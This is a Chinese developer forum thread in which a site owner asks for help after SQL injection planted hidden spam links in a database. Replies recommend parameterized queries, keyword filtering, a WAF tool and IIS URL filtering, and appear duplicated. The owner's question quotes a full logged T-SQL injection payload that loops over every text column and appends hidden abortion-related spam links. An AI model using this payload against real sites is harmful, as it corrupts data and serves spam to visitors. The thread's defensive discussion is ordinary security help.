数据库遭攻击,求救!!1

时间:2021-03-20 22:56:32
网站采用。net三层架构,sql操作都有采用防止sql注入式攻击,这两天发现数据库中某个表的字段莫名出现一连串html代码,查询服务器应用程序日志发现如下警告,这是我们的一个新闻展示页,对方用如此方式是如何攻击的,我该怎么做,才能阻止他攻击啊?

http://www.xxxxxxxx.com/Manage/WebManage/OrderNewDetail.aspx?ContentID=532;
 declare @c cursor;
 declare @d varchar(4000);
 set @c=cursor for select 
 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']
 =['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''+char(60)+
 ''div style="display:none"''+char(62)+''abortion clinics in ny ''+char(60)+
 ''a href="http:''+char(47)+char(47)+''astrobix.com''+char(47)+''astroblog''+
 char(47)+''page''+char(47)+''how-to-end-pregnancy.aspx"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''
 pregnancy nine weeks'' when 1 then ''abortion pills over the counter'' else ''are abortions painful'' END
  +char(60)+char(47)+''a''+char(62)+'' carly fiorina abortion''+char(60)+char(47)+''div''+char(62)+'''' else '''' end'
 FROM sysindexes AS i 
 
 SELECT TOP 1 * FROM sysindexes
 INNER JOIN sysobjects AS o ON i.id=o.id 
 INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
 WHERE(indid=0 or indid=1) and DATA_TYPE 
 like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);
 open @c;
 fetch next from @c into @d;
 while @@FETCH_STATUS=0 
 begin exec (@d);
 fetch next from @c into @d;
 end;
 close @c

5 个解决方案

#1


解决办法:
1、过虑sql语句中参数的特殊字符,比如sql中的关键词select/update/delete/等……
2、程序中以下面这种方式调用sql参数:

SqlParameter[] parameters = {
new SqlParameter("@CID", SqlDbType.Int,4),
new SqlParameter("@AdTitle", SqlDbType.NVarChar,200),
new SqlParameter("@PostDate", SqlDbType.DateTime)};
            parameters[0].Value = model.CID;
            parameters[1].Value = model.AdTitle;
            parameters[2].Value = model.PostDate;

#2


引用 1 楼 chenbin_90 的回复:
解决办法:
1、过虑sql语句中参数的特殊字符,比如sql中的关键词select/update/delete/等……
2、程序中以下面这种方式调用sql参数:

SqlParameter[] parameters = {
new SqlParameter("@CID", SqlDbType.Int,4),
new SqlParameter("@AdTitle", SqlDbType.NVarChar,200),
new SqlParameter("@PostDate", SqlDbType.DateTime)};
            parameters[0].Value = model.CID;
            parameters[1].Value = model.AdTitle;
            parameters[2].Value = model.PostDate;


系统比较大,内容较多,一个个改要很长时间,有没有什么快速解决方案,

#3


数据库遭攻击,求救!!1

那你就下载个软件安装到服务器上去吧。
以前我用过一个好像是叫 网站安全狗,可以设置sql注入防御。

#4


确定是攻击吗?
表中字段  用户是不是可以插入的?如果可以,也行是用户把HTML保存到里面的

#5


最后是在iis上过滤url来解决了

#1


解决办法:
1、过虑sql语句中参数的特殊字符,比如sql中的关键词select/update/delete/等……
2、程序中以下面这种方式调用sql参数:

SqlParameter[] parameters = {
new SqlParameter("@CID", SqlDbType.Int,4),
new SqlParameter("@AdTitle", SqlDbType.NVarChar,200),
new SqlParameter("@PostDate", SqlDbType.DateTime)};
            parameters[0].Value = model.CID;
            parameters[1].Value = model.AdTitle;
            parameters[2].Value = model.PostDate;

#2


引用 1 楼 chenbin_90 的回复:
解决办法:
1、过虑sql语句中参数的特殊字符,比如sql中的关键词select/update/delete/等……
2、程序中以下面这种方式调用sql参数:

SqlParameter[] parameters = {
new SqlParameter("@CID", SqlDbType.Int,4),
new SqlParameter("@AdTitle", SqlDbType.NVarChar,200),
new SqlParameter("@PostDate", SqlDbType.DateTime)};
            parameters[0].Value = model.CID;
            parameters[1].Value = model.AdTitle;
            parameters[2].Value = model.PostDate;


系统比较大,内容较多,一个个改要很长时间,有没有什么快速解决方案,

#3


数据库遭攻击,求救!!1

那你就下载个软件安装到服务器上去吧。
以前我用过一个好像是叫 网站安全狗,可以设置sql注入防御。

#4


确定是攻击吗?
表中字段  用户是不是可以插入的?如果可以,也行是用户把HTML保存到里面的

#5


最后是在iis上过滤url来解决了